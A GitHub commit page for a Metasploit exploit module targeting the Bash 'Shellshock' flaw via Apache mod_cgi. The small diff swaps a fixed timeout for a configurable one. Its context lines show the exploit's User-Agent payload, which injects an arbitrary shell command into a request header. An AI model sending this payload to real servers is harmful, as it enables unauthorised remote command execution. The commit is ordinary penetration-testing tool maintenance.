Skip to content

Commit 91e5dc3

Browse files
committed
Use datastore timeout
1 parent 8a43d63 commit 91e5dc3

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -83,7 +83,7 @@ def req(cmd)
8383
'method' => datastore['METHOD'],
8484
'uri' => normalize_uri(target_uri.path.to_s),
8585
'agent' => "() { :;};echo #{marker}$(#{cmd})#{marker}"
86-
}, 5)
86+
}, datastore['TIMEOUT'])
8787
end
8888

8989
def marker

0 commit comments

Comments
 (0)